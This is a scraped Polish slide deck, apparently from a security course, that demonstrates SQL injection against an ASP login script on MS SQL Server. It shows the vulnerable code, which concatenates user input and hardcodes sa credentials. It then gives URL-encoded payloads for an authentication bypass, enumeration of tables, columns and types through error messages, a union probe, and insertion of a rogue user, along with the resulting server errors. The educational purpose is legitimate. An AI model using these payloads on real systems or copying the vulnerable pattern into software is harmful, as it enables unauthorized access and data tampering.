Poprawnie zalogowowany") else response.write("
Brak uprawnień") end if recordSet.Close">
Poprawnie zalogowowany") else response.write("
Brak uprawnień") end if recordSet.Close">
Pobierz prezentację
Pobieranie prezentacji. Proszę czekać
OpublikowałJędrzej Kulczycki Został zmieniony 11 lat temu
1
Przykład włamania do aplikacji internetowej poprzez modyfikację zapytań SQL
Skrypty ASP Serwer bazy danych MS SQL Server Piotr Kuźniacki BDi
2
Skrypt logowania Dim recordSet, connection, strSql
set connection=server.CreateObject("ADODB.Connection") connection.Open "DRIVER={SQL SERVER};SERVER=(LOCAL);UID=sa;PWD=pwd;DATABASE=Hack" strSql = "SELECT * FROM Uzytkownik where User='" & Request.Form(„UserID") & "' and Password='" & Request.Form("PWD") & "'" set recordSet= connection.execute(strSql) if Not recordSet.EOF then response.write("<br>Poprawnie zalogowowany") else response.write("<br>Brak uprawnień") end if recordSet.Close
3
Spreparowane zapytanie SQL
Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘ or 1=1 – Rezultaty Zapytanie jest poprawne Reszta jest komentarzem Warunek jest spełniony
4
Spreparowane zapytanie SQL
Postać parametrów Login.asp?UserID=aaa‘ Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa’’ and Password=‘’ Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'aaa' and Password=''. Warunek jest coś=‘login’ and Password=‘password’
5
Spreparowane zapytanie SQL
Postać parametrów Login.asp?UserID=aaa%27%20group%20by%20Password-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa’ group by Password-- Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Uzytkownik.IDUzytkownik' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Znamy nazwę tabeli Uzytkownik Znamy pierwszą kolumnę IDUzytkownik Wykonujemy to dla pozostałych kolumn
6
Spreparowane zapytanie SQL
Postać parametrów Login.asp?UserID=aaa%27%20union%20select%20IDUzytkownik%20from%20Uzytkownik-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa’ union select IDUzytkownik from Uzytkownik-- Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. Dodajemy kolejne pola aż zniknie błąd, mamy wszystkie pola.
7
Spreparowane zapytanie SQL
Postać parametrów Login.asp?UserID=aaa%27%20compute%20sum%20(User)-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa' compute sum(User)-- Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a nvarchar data type as an argument. Znamy typ pola, powtarzamy dla pozostałych.
8
Spreparowane zapytanie SQL
Postać parametrów Login.asp?UserID=aaa%27%20insert%20into%20Uzytkownik (IDUzytkownik,Imie,Nazwisko,User,Password) %20values%20 (1000,%27 Haker%27,%27Hakerowaty%27, %27Login%27, %27Pwd%27)-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa' insert into Uzytkownik (IDUzytkownik,Imie,Nazwisko,User,Password) values (1000,'Haker','Hakerowaty','Login','Pwd')-- Rezultaty Użytkownik dodany. Gdy nie znamy poprawnych wartości pól, można użyć update z danymi innego użytkownika (update Uzytkownik set Pole=(select max(pole) from Uzytkownik where User=‘Nowak’).
9
Literatura Stokłosa J., Bilski T., Pankowski T.: Bezpieczeństwo danych w systemach informatycznych. Wydawnictwo Naukowe PWN, 2001. Maiwald E.: Bezpieczeństwo w Sieci. Wydawnictwo edition, 2000. Scambray J., McClure S., Kurtz G.: Hakerzy cała prawda. Wydawnictwo Translator, 2001. Win.Security magazine Magazyn Administratorów i użytkowników systemów Windows,
Podobne prezentacje
© 2024 SlidePlayer.pl Inc.
All rights reserved.